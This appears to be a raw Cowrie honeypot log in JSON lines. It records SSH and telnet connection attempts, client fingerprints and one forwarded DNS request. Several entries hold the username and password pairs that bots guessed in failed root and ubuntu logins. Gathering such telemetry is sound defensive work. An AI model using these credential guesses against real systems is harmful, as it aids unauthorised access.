{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:21:23.155513Z","src_ip":"87.251.64.176","session":"cafdc5bc8639","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:21:23.255739Z","src_ip":"87.251.64.176","session":"cafdc5bc8639","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.41700601577759,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:21:23.596203Z","src_ip":"142.93.2.99","session":"f4fa9ab3f38a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.106234073638916,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:21:26.669297Z","src_ip":"142.93.2.99","session":"6bd5e2758d7e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":45618,"dst_ip":"159.203.135.109","dst_port":23,"session":"63f9576cd6f4","protocol":"telnet","message":"New connection: 142.93.2.99:45618 (159.203.135.109:23) [session: 63f9576cd6f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:21:37.176864Z"}
{"eventid":"cowrie.session.closed","duration":32.81974649429321,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:21:44.718867Z","src_ip":"104.245.105.2","session":"c7cf63e8511f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.310391664505005,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:21:47.083459Z","src_ip":"142.93.2.99","session":"a6f3647a9af2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.857768297195435,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:21:52.941088Z","src_ip":"142.93.2.99","session":"bb9de976b95b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":51616,"dst_ip":"159.203.135.109","dst_port":22,"session":"0f50024759b5","protocol":"ssh","message":"New connection: 2.57.122.238:51616 (159.203.135.109:22) [session: 0f50024759b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:21:53.317392Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:21:53.321762Z","src_ip":"2.57.122.238","session":"0f50024759b5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:21:53.420814Z","src_ip":"2.57.122.238","session":"0f50024759b5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu","message":"login attempt [ubuntu/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:21:53.717829Z","src_ip":"2.57.122.238","session":"0f50024759b5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.233.118.22","src_port":56200,"dst_ip":"159.203.135.109","dst_port":22,"session":"adad74d18514","protocol":"ssh","message":"New connection: 186.233.118.22:56200 (159.203.135.109:22) [session: adad74d18514]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:21:53.761080Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:21:53.765398Z","src_ip":"186.233.118.22","session":"adad74d18514","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:21:53.886464Z","src_ip":"186.233.118.22","session":"adad74d18514","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Password123","message":"login attempt [root/Password123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:21:54.394707Z","src_ip":"186.233.118.22","session":"adad74d18514","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:21:54.819841Z","src_ip":"2.57.122.238","session":"0f50024759b5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.519591093063354,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:21:55.496053Z","src_ip":"104.245.105.2","session":"15fbc54b2025","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:21:55.516682Z","src_ip":"186.233.118.22","session":"adad74d18514","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":34456,"dst_ip":"159.203.135.109","dst_port":23,"session":"6d4e0ab86191","protocol":"telnet","message":"New connection: 142.93.2.99:34456 (159.203.135.109:23) [session: 6d4e0ab86191]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:21:56.269328Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":36180,"dst_ip":"10.17.0.5","dst_port":23,"session":"7f1a03894e94","protocol":"telnet","message":"New connection: 104.245.105.2:36180 (10.17.0.5:23) [session: 7f1a03894e94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:21:56.661730Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":42604,"dst_ip":"159.203.135.109","dst_port":23,"session":"fe5fa4780553","protocol":"telnet","message":"New connection: 142.93.2.99:42604 (159.203.135.109:23) [session: fe5fa4780553]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:22:03.729964Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":42614,"dst_ip":"159.203.135.109","dst_port":23,"session":"e34be8306f70","protocol":"telnet","message":"New connection: 142.93.2.99:42614 (159.203.135.109:23) [session: e34be8306f70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:22:03.735056Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":47562,"dst_ip":"159.203.135.109","dst_port":22,"session":"331eb8936612","protocol":"ssh","message":"New connection: 194.59.206.2:47562 (159.203.135.109:22) [session: 331eb8936612]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:22:07.361134Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:22:07.364785Z","src_ip":"194.59.206.2","session":"331eb8936612","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:22:07.449528Z","src_ip":"194.59.206.2","session":"331eb8936612","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:22:07.587523Z","src_ip":"194.59.206.2","session":"331eb8936612","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"189.194.140.170","src_port":42218,"dst_ip":"159.203.135.109","dst_port":22,"session":"2e5533a3e08b","protocol":"ssh","message":"New connection: 189.194.140.170:42218 (159.203.135.109:22) [session: 2e5533a3e08b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:22:08.892862Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:22:08.897463Z","src_ip":"189.194.140.170","session":"2e5533a3e08b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:22:09.001138Z","src_ip":"189.194.140.170","session":"2e5533a3e08b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"198827","message":"login attempt [root/198827] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:22:09.415807Z","src_ip":"189.194.140.170","session":"2e5533a3e08b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.132840633392334,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:22:10.309590Z","src_ip":"142.93.2.99","session":"63f9576cd6f4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:22:10.517618Z","src_ip":"189.194.140.170","session":"2e5533a3e08b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":47042,"dst_ip":"159.203.135.109","dst_port":23,"session":"cb546364f765","protocol":"telnet","message":"New connection: 142.93.2.99:47042 (159.203.135.109:23) [session: cb546364f765]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:22:11.269075Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":52600,"dst_ip":"10.17.0.5","dst_port":23,"session":"cf23771d0343","protocol":"telnet","message":"New connection: 104.245.105.2:52600 (10.17.0.5:23) [session: cf23771d0343]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:22:17.936884Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":32804,"dst_ip":"159.203.135.109","dst_port":23,"session":"4a71933c536a","protocol":"telnet","message":"New connection: 142.93.2.99:32804 (159.203.135.109:23) [session: 4a71933c536a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:22:21.232126Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":37630,"dst_ip":"10.17.0.5","dst_port":23,"session":"d5b1c4675c27","protocol":"telnet","message":"New connection: 104.245.105.2:37630 (10.17.0.5:23) [session: d5b1c4675c27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:22:24.378567Z"}
{"eventid":"cowrie.session.closed","duration":30.400028228759766,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:22:27.061669Z","src_ip":"104.245.105.2","session":"7f1a03894e94","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.381458044052124,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:22:28.650652Z","src_ip":"142.93.2.99","session":"6d4e0ab86191","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":48408,"dst_ip":"159.203.135.109","dst_port":23,"session":"69be6ee08fc8","protocol":"telnet","message":"New connection: 142.93.2.99:48408 (159.203.135.109:23) [session: 69be6ee08fc8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:22:37.521026Z"}
{"eventid":"cowrie.session.closed","duration":33.96966218948364,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:22:37.704637Z","src_ip":"142.93.2.99","session":"e34be8306f70","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.67815041542053,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:22:38.408014Z","src_ip":"142.93.2.99","session":"fe5fa4780553","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.73696494102478,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:22:42.005957Z","src_ip":"142.93.2.99","session":"cb546364f765","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":43836,"dst_ip":"10.17.0.5","dst_port":23,"session":"e2daf7b6799d","protocol":"telnet","message":"New connection: 104.245.105.2:43836 (10.17.0.5:23) [session: e2daf7b6799d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:22:43.607087Z"}
{"eventid":"cowrie.session.closed","duration":33.48751711845398,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:22:51.424290Z","src_ip":"104.245.105.2","session":"cf23771d0343","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"186.233.118.22","src_port":60406,"dst_ip":"159.203.135.109","dst_port":22,"session":"4d4ddfaf5ee6","protocol":"ssh","message":"New connection: 186.233.118.22:60406 (159.203.135.109:22) [session: 4d4ddfaf5ee6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:22:54.525041Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:22:54.529739Z","src_ip":"186.233.118.22","session":"4d4ddfaf5ee6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:22:54.648812Z","src_ip":"186.233.118.22","session":"4d4ddfaf5ee6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root!23","message":"login attempt [root/root!23] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:22:55.159794Z","src_ip":"186.233.118.22","session":"4d4ddfaf5ee6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.16088533401489,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:22:55.392899Z","src_ip":"142.93.2.99","session":"4a71933c536a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.059131860733032,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:22:55.437592Z","src_ip":"104.245.105.2","session":"d5b1c4675c27","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:22:56.283860Z","src_ip":"186.233.118.22","session":"4d4ddfaf5ee6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":40502,"dst_ip":"159.203.135.109","dst_port":23,"session":"7dee93ec02ac","protocol":"telnet","message":"New connection: 142.93.2.99:40502 (159.203.135.109:23) [session: 7dee93ec02ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:22:57.187268Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":35578,"dst_ip":"10.17.0.5","dst_port":23,"session":"41fd5834f963","protocol":"telnet","message":"New connection: 104.245.105.2:35578 (10.17.0.5:23) [session: 41fd5834f963]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:23:01.302737Z"}
{"eventid":"cowrie.session.connect","src_ip":"189.194.140.170","src_port":59132,"dst_ip":"159.203.135.109","dst_port":22,"session":"62352cb1759f","protocol":"ssh","message":"New connection: 189.194.140.170:59132 (159.203.135.109:22) [session: 62352cb1759f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:23:01.765736Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:23:01.770890Z","src_ip":"189.194.140.170","session":"62352cb1759f","protocol":"ssh"}
